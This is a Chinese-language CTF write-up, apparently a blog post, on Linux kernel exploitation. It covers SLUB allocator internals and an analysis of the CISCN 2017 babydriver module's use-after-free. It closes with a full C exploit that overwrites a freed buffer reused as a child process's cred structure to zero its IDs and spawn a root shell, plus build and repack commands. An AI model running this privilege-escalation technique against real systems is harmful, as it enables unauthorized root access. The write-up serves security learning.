CTF-PWN-kernel-初探

参考

https://arttnba3.cn/2021/02/21/OS-0X01-LINUX-KERNEL-PART-II/
https://bbs.kanxue.com/thread-276403.htm#msg_header_h1_2

https://kiprey.github.io/2021/10/kernel_pwn_introduction/#d-%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90

slub 分配器

这篇博客讲得挺好的https://www.cnblogs.com/LoyenWang/p/11922887.html

一个kmem_cache=一类大小相同的object
一个slub缓存=多个slub页=很多多个大小相同的object
一个slub页=2的n次方个物理页=多个大小相同的object
在这里插入图片描述

在这里插入图片描述

kmem_cache_cpu

void **freelist: 这是一个指针,指向下一个可分配的对象。在SLAB分配器中,当对象被释放时,它们不会立即返回到全局内存池,而是被链接到这个自由链表上。这样,当需要再次分配对象时,可以迅速从这个链表中获取,提高了分配速度。

struct page *page: 这个指针指向当前正在从中分配对象的SLAB页面。这个成员记录了当前分配活动所针对的具体SLAB页面(指向当前正在使用的SLAB页面的指针。这个页面可能已经有一些对象被分配出去,也可能仍然有一些空闲对象。)

struct page *partial: 它指向一个部分分配的的SLAB页面。部分分配的SLAB意味着该SLAB中还有一些对象未被使用,

“freeze”(冻结)一个SLAB页面是一种管理策略,指的是当该页面中的某些对象已经被分配出去,但还剩余一些对象未被使用时,这个SLAB页面会被标记为不活跃状态,不再作为常规分配的首选来源。这个操作通常发生在尝试从SLAB页面中迁移空闲对象到CPU本地的freelist(自由链表)失败之后,也就是说,如果发现SLAB页面中实际上没有空闲对象可以迁移时。

kmem_cache_node[ ]

struct list_head partial: 这是一个链表头,用于链接那些部分分配的SLAB页面。每个部分分配的SLAB页面通过其自身的list_head结构体成员挂载到这个链表上,便于管理和快速查找可用的SLAB页面。

冻结和解冻

  1. Frozen (冻结): 当一个SLAB页面被标记为“冻结”,这意味着该SLAB虽然还有未分配的对象,但出于性能优化或其他管理目的,暂时不希望从这个SLAB中进行新的分配。这种状态通常用于减少分配时的搜索成本或避免过度碎片化。例如,如果一个SLAB页面中大部分对象已被分配,仅剩少量空闲对象,将其冻结可以减少检查它的频率,因为分配新对象时优先考虑完全空闲的SLAB更为高效。

    • 对于cpu1kmem_cache_cpu,如果其SLAB是冻结的,cpu1仍然可以在该SLAB中取出对象(如果有)或归还对象到该SLAB,因为这是它自己的私有资源。但是,其他CPU核心(如cpu2)不能从这个冻结的SLAB中取对象,它们只能归还对象到该SLAB(如果之前从该SLAB获取过对象的话)。
  2. Unfrozen (解冻): 相反,“解冻”状态的SLAB页面是完全参与到分配流程中的,任何CPU核心都可以从中分配对象,只要遵循相应的访问规则。在SLUB分配器中,通常CPU局部的partial链表上的SLAB是冻结的,而Node级别的partial链表上的SLAB是解冻的,这是因为Node级别的SLAB是所有CPU共享的资源,需要保持较高的可用性。

  3. 耗尽kmem_cache_cpu的slab的obj后解冻slab: 这意味着,当某CPU核心(如cpu1)的kmem_cache_cpu中的SLAB页面中的所有对象都被分配完毕,且需要新的对象时,之前冻结的SLAB可能被“解冻”。这是因为,随着分配压力的增加,即使剩余对象不多的SLAB也变得有价值,可以重新激活以提供分配服务,以缓解内存分配的压力。

分配

  1. 检索per-CPU缓存的freelist列表中的第一个对象,没有进入2
  2. 将per-CPU缓存中page指向的slab页中的空闲对象迁移到freelist中,没有空闲对象就进入3
  3. 将per-CPU缓存中partial链表中的第一个slab页迁移到page指针中,如果partial链表为空,则进入4
  4. 将Node管理的partial链表中的slab页迁移到per-CPU缓存中的page中,并重复第二个slab页将其添加到per-CPU缓存中的partial链表中,如果每个Node的partial链表都为空,则进入5
  5. 从Buddy System中获取页面,并将其添加到per-CPU的page中。

释放

  1. 直接将对象返回到freelist中,page变为空闲
  2. page放到per-CPU管理的partial链表,per-CPU管理的partial链表中的slab页面添加到Node管理的partial链表的尾部
  3. slab页为全空闲,从Node的partial链表移除slab页。返回buddy system

fork

通过一个具体的C语言示例来解释fork()的工作原理和子进程的执行位置:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
    pid_t pid = fork(); // 调用fork创建子进程

    if (pid < 0) {
        perror("Fork failed");
        return 1;
    }

    if (pid == 0) { // 这是子进程
        printf("这是子进程,PID: %u,从这里开始执行。\n", getpid());
        sleep(1); // 让子进程暂停1秒,以便观察
        printf("子进程执行完成。\n");
    } else { // 这是父进程
        printf("这是父进程,PID: %u,fork后立即从这里继续执行。\n", getpid());
        wait(NULL); // 父进程等待子进程结束
        printf("父进程检测到子进程结束。\n");
    }

    return 0;
}

在这个示例中,当程序执行到fork()调用时,操作系统会创建一个与当前进程几乎完全相同的子进程。之后,父子进程都会继续执行fork()调用之后的代码,但根据fork()的返回值来区分各自的执行路径。

  • 父进程fork()返回的是子进程的PID,因此它会执行pid > 0分支的代码,打印出父进程的PID,并等待子进程结束。
  • 子进程fork()在子进程中返回0,因此它会执行pid == 0分支的代码,打印出“这是子进程”的信息,然后暂停一秒,接着打印“子进程执行完成”。

所以,子进程实际上是从fork()调用点开始执行程序的副本,但它会根据fork()的返回值跳转到特定的代码路径。这使得父子进程可以执行不同的逻辑,共同协作完成复杂的任务。

绑核

保证分配到的同一类大小object来自同一个kmem_cache_cpu
比如你free掉一个进入1号kmem_cache_cpu的freelist后,你希望下次仍然得到回来这个刚free的,此时如果在不同cpu上,那就得不回来了

#define _GNU_SOURCE
#include <sched.h>

/* to run the exp on the specific core only */
void bind_cpu(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

Kmalloc flag和slub隔离

对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(通常都是默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-* ,从而导致使用这两种 flag 的 object 之间的隔离

当一个 kmem_cache 在创建时,若已经存在能分配相等/近似大小的 object 的 kmem_cache ,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个 alias,作为“新的” kmem_cache 返回

对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言,则会新建一个新的 kmem_cache 而非为原有的建立 alias

CISCN - 2017 - babydriver

不知道为啥,没有题目做然后学东西简直浑身难受

-cpu kvm64,+smep

开了smep阻止在Ring 0(最高特权级别,通常为操作系统内核模式)执行来自用户空间(Ring 3)内存页面的代码。
直接看加载的驱动源码

检查

在这里插入图片描述

babtdriver_init

  1. 申请设备号
  2. 初始化设备结构体
  3. 将该设备添加到内核的设备列表
  4. 创建设备类,创建设备实例
    在这里插入图片描述

struct cdev

struct cdev { // 结构体cdev的定义,大小为0x68字节
    kobject kobj;            // 0x00: 内嵌的kobject结构体。kobject是Linux内核对象的基础结构,用于管理内核对象的引用计数、命名空间、事件通知等通用对象管理功能。
    module *owner;           // 0x40: 指向拥有该字符设备的模块结构体指针。在设备驱动程序中,通常指向`_this_module`,表明哪个内核模块创建了这个设备。
    const file_operations *ops; // 0x48: 指向file_operations结构体的指针,定义了设备可以支持的各种文件操作方法,如打开(open)、读(read)、写(write)、关闭(close)等。
    list_head list;          // 0x50: 内嵌的list_head结构体,用于将cdev结构体链接到内核的链表中,便于内核管理所有注册的字符设备。
    dev_t dev;              // 0x60: 设备号,由主设备号(major number)和次设备号(minor number)组成,唯一标识一个设备。
    unsigned int count;       // 0x64: 引用计数,表示有多少打开的文件描述符指向此设备。当count为0时,表示设备未被使用,可以被卸载或删除。
};                          // 结构体结束

这个结构体是字符设备驱动程序与内核交互的重要桥梁,通过它,驱动程序可以注册设备、定义设备行为(通过file_operations)、管理设备状态等。在内核中,通过cdev_init函数初始化这个结构体,并通过cdev_add函数将其添加到内核的字符设备列表中,从而使其生效。当不再需要设备时,可以通过cdev_del函数将其从内核中注销。

alloc_chrdev_region

alloc_chrdev_region是一个Linux内核函数,用于动态分配一个或一组连续的字符设备编号(major number),并注册这个设备编号与设备名之间的映射关系。这个函数是字符设备驱动程序开发者在初始化设备驱动时经常使用的一个重要步骤。下面是对这个函数调用的详细解释:

alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev")
  • &babydev_no: 这是一个指针,用于接收分配的字符设备主设备号(major number)。调用成功后,babydev_no将存储分配给设备的第一个主设备号。

  • 0LL: 这个参数表示起始的次设备号(minor number)偏移量。这里设置为0,意味着从0号次设备号开始分配。在很多情况下,对于只需要一个设备号的设备,这个值通常是0。

  • 1LL: 表示要分配的设备号数量。这里要求分配1个连续的设备号。如果驱动程序需要管理多个不同类型的设备,可能需要分配更多的设备号。

  • "babydev": 字符串参数,表示设备的名称。这个名称会在/proc/devices文件中显示,用于标识设备类型,对于系统管理员和开发者来说,这是一个友好的设备标识。

这个函数调用的目的是向内核请求分配一个新的字符设备号,并且这个设备号与设备名"babydev"相关联。一旦分配成功,之后就可以使用这个设备号来创建和操作设备文件,实现与设备的通信。如果分配成功,babydev_no变量会存储分配到的主设备号;如果分配失败(比如没有足够的设备号可供分配),函数会返回一个负的错误码。

cdev_init

这段代码是Linux内核字符设备驱动程序中常见的三个函数调用,用于初始化字符设备、设置其所属模块,并向内核注册该设备。下面是每个调用的详细解释:

cdev_init(&cdev_0, &fops);

  • cdev_init:这是内核提供的一个函数,用于初始化一个字符设备控制结构体(struct cdev)。它主要负责设置字符设备的默认属性,以及关联文件操作函数集。
  • &cdev_0:这是指向待初始化的字符设备控制结构体的指针。cdev_0是一个局部或全局的struct cdev实例,用于表示你正在创建的字符设备。
  • &fops:这是一个指向file_operations结构体的指针。file_operations结构体包含了所有与设备文件操作相关的函数指针,如打开设备(open)、读取(read)、写入(write)、关闭(release)等。通过传递这个指针,你定义了设备如何响应这些操作。
00000000 struct cdev // sizeof=0x68
00000000 {                                       // XREF: .bss:cdev_0/r
00000000     kobject kobj;
00000040     module *owner;                      // XREF: babydriver_init+5E/w
00000048     const file_operations *ops;
00000050     list_head list;
00000060     dev_t dev;
00000064     unsigned int count;
00000068 };

在这里插入图片描述

owner

cdev_0.owner = &_this_module;

  • 这行代码设置字符设备结构体cdev_0.owner成员为当前模块的指针(_this_module)。_this_module是一个全局变量,指向当前正在运行的内核模块自身。这一操作明确了哪个模块负责这个字符设备,对于日志记录、资源管理以及模块卸载时的清理工作至关重要。

在这里插入图片描述

00000000 struct module // sizeof=0x340
00000000 {                                       // XREF: .gnu.linkonce.this_module:__this_module/r
00000000     module_state state;
00000004     // padding byte
00000005     // padding byte
00000006     // padding byte
00000007     // padding byte
00000008     list_head list;
00000018     char name[56];
00000050     module_kobject mkobj;
000000B0     module_attribute *modinfo_attrs;
000000B8     const char *version;
000000C0     const char *srcversion;
000000C8     kobject *holders_dir;
000000D0     const kernel_symbol *syms;
000000D8     const unsigned __int64 *crcs;
000000E0     unsigned int num_syms;
000000E4     // padding byte
000000E5     // padding byte
000000E6     // padding byte
000000E7     // padding byte
000000E8     mutex param_lock;
00000110     kernel_param *kp;
00000118     unsigned int num_kp;
0000011C     unsigned int num_gpl_syms;
00000120     const kernel_symbol *gpl_syms;
00000128     const unsigned __int64 *gpl_crcs;
00000130     const kernel_symbol *unused_syms;
00000138     const unsigned __int64 *unused_crcs;
00000140     unsigned int num_unused_syms;
00000144     unsigned int num_unused_gpl_syms;
00000148     const kernel_symbol *unused_gpl_syms;
00000150     const unsigned __int64 *unused_gpl_crcs;
00000158     bool sig_ok;
00000159     bool async_probe_requested;
0000015A     // padding byte
0000015B     // padding byte
0000015C     // padding byte
0000015D     // padding byte
0000015E     // padding byte
0000015F     // padding byte
00000160     const kernel_symbol *gpl_future_syms;
00000168     const unsigned __int64 *gpl_future_crcs;
00000170     unsigned int num_gpl_future_syms;
00000174     unsigned int num_exentries;
00000178     exception_table_entry *extable;
00000180     int (*init)(void);
00000188     // padding byte
00000189     // padding byte
0000018A     // padding byte
0000018B     // padding byte
0000018C     // padding byte
0000018D     // padding byte
0000018E     // padding byte
0000018F     // padding byte
00000190     // padding byte
00000191     // padding byte
00000192     // padding byte
00000193     // padding byte
00000194     // padding byte
00000195     // padding byte
00000196     // padding byte
00000197     // padding byte
00000198     // padding byte
00000199     // padding byte
0000019A     // padding byte
0000019B     // padding byte
0000019C     // padding byte
0000019D     // padding byte
0000019E     // padding byte
0000019F     // padding byte
000001A0     // padding byte
000001A1     // padding byte
000001A2     // padding byte
000001A3     // padding byte
000001A4     // padding byte
000001A5     // padding byte
000001A6     // padding byte
000001A7     // padding byte
000001A8     // padding byte
000001A9     // padding byte
000001AA     // padding byte
000001AB     // padding byte
000001AC     // padding byte
000001AD     // padding byte
000001AE     // padding byte
000001AF     // padding byte
000001B0     // padding byte
000001B1     // padding byte
000001B2     // padding byte
000001B3     // padding byte
000001B4     // padding byte
000001B5     // padding byte
000001B6     // padding byte
000001B7     // padding byte
000001B8     // padding byte
000001B9     // padding byte
000001BA     // padding byte
000001BB     // padding byte
000001BC     // padding byte
000001BD     // padding byte
000001BE     // padding byte
000001BF     // padding byte
000001C0     void *module_init;
000001C8     void *module_core;
000001D0     unsigned int init_size;
000001D4     unsigned int core_size;
000001D8     unsigned int init_text_size;
000001DC     unsigned int core_text_size;
000001E0     mod_tree_node mtn_core;
00000218     mod_tree_node mtn_init;
00000250     unsigned int init_ro_size;
00000254     unsigned int core_ro_size;
00000258     unsigned int taints;
0000025C     unsigned int num_bugs;
00000260     list_head bug_list;
00000270     bug_entry *bug_table;
00000278     mod_kallsyms *kallsyms;
00000280     mod_kallsyms core_kallsyms;
00000298     module_sect_attrs *sect_attrs;
000002A0     module_notes_attrs *notes_attrs;
000002A8     char *args;
000002B0     void *percpu;
000002B8     unsigned int percpu_size;
000002BC     unsigned int num_tracepoints;
000002C0     tracepoint *const *tracepoints_ptrs;
000002C8     jump_entry *jump_entries;
000002D0     unsigned int num_jump_entries;
000002D4     unsigned int num_trace_bprintk_fmt;
000002D8     const char **trace_bprintk_fmt_start;
000002E0     trace_event_call **trace_events;
000002E8     unsigned int num_trace_events;
000002EC     // padding byte
000002ED     // padding byte
000002EE     // padding byte
000002EF     // padding byte
000002F0     trace_enum_map **trace_enums;
000002F8     unsigned int num_trace_enums;
000002FC     unsigned int num_ftrace_callsites;
00000300     unsigned __int64 *ftrace_callsites;
00000308     bool klp_alive;
00000309     // padding byte
0000030A     // padding byte
0000030B     // padding byte
0000030C     // padding byte
0000030D     // padding byte
0000030E     // padding byte
0000030F     // padding byte
00000310     list_head source_list;
00000320     list_head target_list;
00000330     void (*exit)(void);
00000338     atomic_t refcnt;
0000033C     // padding byte
0000033D     // padding byte
0000033E     // padding byte
0000033F     // padding byte
00000340 };

cdev_add

v1 = cdev_add(&cdev_0, babydev_no, 1LL); 是对Linux内核编程中一个典型的函数调用法,用于向内核注册一个字符设备。

  • cdev_add: 这是内核API函数,用于向内核注册一个字符设备。它使设备可被系统识别,并允许用户空间通过文件系统接口与之交互。

  • &cdev_0: 这是一个指向struct cdev结构体的指针,该结构体包含了字符设备的必要信息,如设备操作函数集(file_operations)、设备号等。在之前的初始化过程中,cdev_init函数已经设置了这些信息,所以现在通过指针传递给cdev_add来注册。

  • babydev_no: 这是一个dev_t类型的变量,表示设备号。在前面的代码片段中,通过alloc_chrdev_region函数为设备分配了设备号,其中babydev_no就是分配的主设备号。设备号是内核中唯一标识一个设备的关键,分为主设备号和次设备号,这里只用到了主设备号。

  • 1LL: 这个参数表示要注册的次设备号的数量。这里传入1LL(即1)意味着注册一个次设备号。在一些情况下,一个主设备号可以对应多个逻辑设备,每个逻辑设备由不同的次设备号区分。

_class_create

  • (class *):类型转换,表明赋值将被解释为一个指向class结构体的指针。

  • _class_create:这是内核函数,用于创建一个设备类(字符设备或块设备的类),它是设备模型的一部分,用于组织和管理同类设备。它允许对一类设备共享相同的属性和行为。

  • &_this_module:传递当前模块的指针,表示创建的设备类属于哪个内核模块。_this_module是内核模块自我引用的全局变量,每个模块都有这样一个变量指向自己。

  • "babydev":设备类的名字,是一个字符串,用于标识这个类。在系统中,特别是在用户空间通过sysfs(如/sysfs/class/目录下)查看时,可以看到这个类名。

  • &babydev_no:主设备号

00000000 struct class // sizeof=0x78
00000000 {
00000000     const char *name;
00000008     module *owner;
00000010     class_attribute *class_attrs;
00000018     const attribute_group **dev_groups;
00000020     kobject *dev_kobj;
00000028     int (*dev_uevent)(device *, kobj_uevent_env *);
00000030     char *(*devnode)(device *, umode_t *);
00000038     void (*class_release)(class *);
00000040     void (*dev_release)(device *);
00000048     int (*suspend)(device *, pm_message_t);
00000050     int (*resume)(device *);
00000058     const kobj_ns_type_operations *ns_type;
00000060     const void *(*namespace)(device *);
00000068     const dev_pm_ops *pm;
00000070     subsys_private *p;
00000078 };

初始时,init 函数通过调用 class_create 函数创建一个 class 类型的类,创建好后的类存放于sysfs下面,可以在 /sys/class中找到。

device_create

device_create() 是 Linux 内核 API 中的一个函数,用于在设备模型中动态创建并注册一个新的设备实例。这个函数简化了与设备创建相关的各种底层操作,包括 kobject 的初始化、sysfs 入口的创建以及与设备类的关联等。给出的函数调用示例:

device_create(babyclass, 0LL, babydev_no, 0LL, "babydev");
  1. babyclass:这是一个指向已经定义好的 struct class 实例的指针。在设备模型中,class 表示设备的一类,定义了设备的通用行为和属性。

  2. 0LL:这是指设备的父设备在设备层次结构中的设备号。在很多情况下,如果设备没有直接的父设备或者不需要指定父设备,这个值会被设置为 NULL 或者 0。这里的 0LL 表示长整型的零,起到同样的作用。

  3. babydev_no:这是要创建的设备自己的设备号。设备号在 Linux 中是唯一标识一个设备的号码,分为类型号(major number)和编号号(minor number),用来区分不同类型的设备和同一类型下的不同实例。这里假设 babydev_no 是之前分配好的设备号。

  4. 0LL:与第二个参数类似,这里是传递给设备的私有数据指针,通常用于存储特定于设备的数据。再次使用 0LL 表示没有私有数据需要传递。

  5. “babydev”:这是一个 C 字符串,用于指定新创建的设备在 sysfs 中显示的名称。当用户通过 sysfs 查看设备时,这个名称会作为设备目录的名称出现,便于识别。

函数调用 device_create 函数,动态建立逻辑设备,对新逻辑设备进行初始化;同时还将其与第一个参数所对应的逻辑类相关联,并将此逻辑设备加到linux内核系统的设备驱动程序模型中。这样,函数会自动在 /sys/devices/virtual 目录下创建新的逻辑设备目录,并在 /dev 目录下创建与逻辑类对应的设备文件。

babyopen

babydev_struct是全局变量
在kmalloc_caches[6]中分配大小64的object,并更新babydev_struct的device_buf和device_buf_len
在这里插入图片描述

babyrelease

在这里插入图片描述babydev_struct.device_buf 释放掉,函数既没有对device_buf指针置空,也没有设置 device_buf_len 为0 。

babyread

IDA有问题直接看汇编
在这里插入图片描述

在这里插入图片描述
修正部分

 if ( babydev_struct.device_buf_len > length )
  {
    copy_to_user(buffer, babydev_struct.device_buf, length);
    result = length;
  }

判断device_buf 不为空就然后判断读取长度是否device_buf 足够,然后将 device_buf 上的内存拷贝至用户空间的 buff

babywrite

同样IDA有问题
在这里插入图片描述

 if ( babydev_struct.device_buf_len > length )
  {
    copy_from_user(babydev_struct.device_buf, buffer, length);
    result = length;
  }

将用户空间的 buffer 内存上的数据拷贝进内核空间的 device_buf 上

babyioctl

在这里插入图片描述
先kfree掉,然后再申请,分配大小应该是a4,再设置device_buf和device_buf _len

提取vmlinux

sudo apt install python3-pip
sudo pip3 install --upgrade lz4 git+https://github.com/marin-m/vmlinux-to-elf

使用

# vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
vmlinux-to-elf bzImage vmlinux

调试

sudo apt-get install qemu-system-x86 qemu-utils

在这里插入图片描述
解决
在这里插入图片描述
出现了这玩意,但好像不影响调试
在这里插入图片描述

解决方案https://github.com/pwndbg/pwndbg/issues/2171
sudo gdb就没有了啦
在这里插入图片描述

思路

绑定到一个CPU上不然UAF使用可能不成功,但这题 -smp cores=1,threads=1启动了1个核心(core)和1个线程(thread),所以不需要绑定

  1. 由于babydev_struct是全局变量,所以连续open两次将会有两个文件描述符可以去操作babydev_struct
  2. 利用close后free但没有清零的特点,也就是另一个未关闭的文件描述符依然可以操作free后的babydev_struct.device_buf,即存在UAF
  3. 如果此时存在申请刚free后的object作为cred结构体,那么此时得到的object和babydev_struct.device_buf是同一个,那么可以通过另一个未关闭的文件描述符对该cred进行写操作

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>

int main() {
    int fd1 = open("/dev/babydev", O_RDWR); //分配device_buf和设置device_buf_len
    int fd2 = open("/dev/babydev", O_RDWR); // 分配重新设置device_buf和device_buf_len
    ioctl(fd1, 65537, 0xa8);    //分配重新设置device_buf和device_buf_len 大小和cred结构体一样
    close(fd1); // free掉0xa8大小的device_buf,但没清空

    if (!fork()) { //父进程返回子进程的pid,子进程返回0
        
        char mem[4 * 7]; // usage uid gid suid sgid euid egid
        memset(mem, '\x00', sizeof(mem));
        write(fd2, mem, sizeof(mem));
        system("/bin/sh");
    }
    else
        wait(NULL);  //父进程要等子进程结束才行

    return 0;
}

放入内核中并运行exp

静态编译

gcc exp.c -static -o exp

重新打包

find . | cpio -o --format=newc > rootfs.cpio

在这里插入图片描述
在这里插入图片描述

  • 17
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值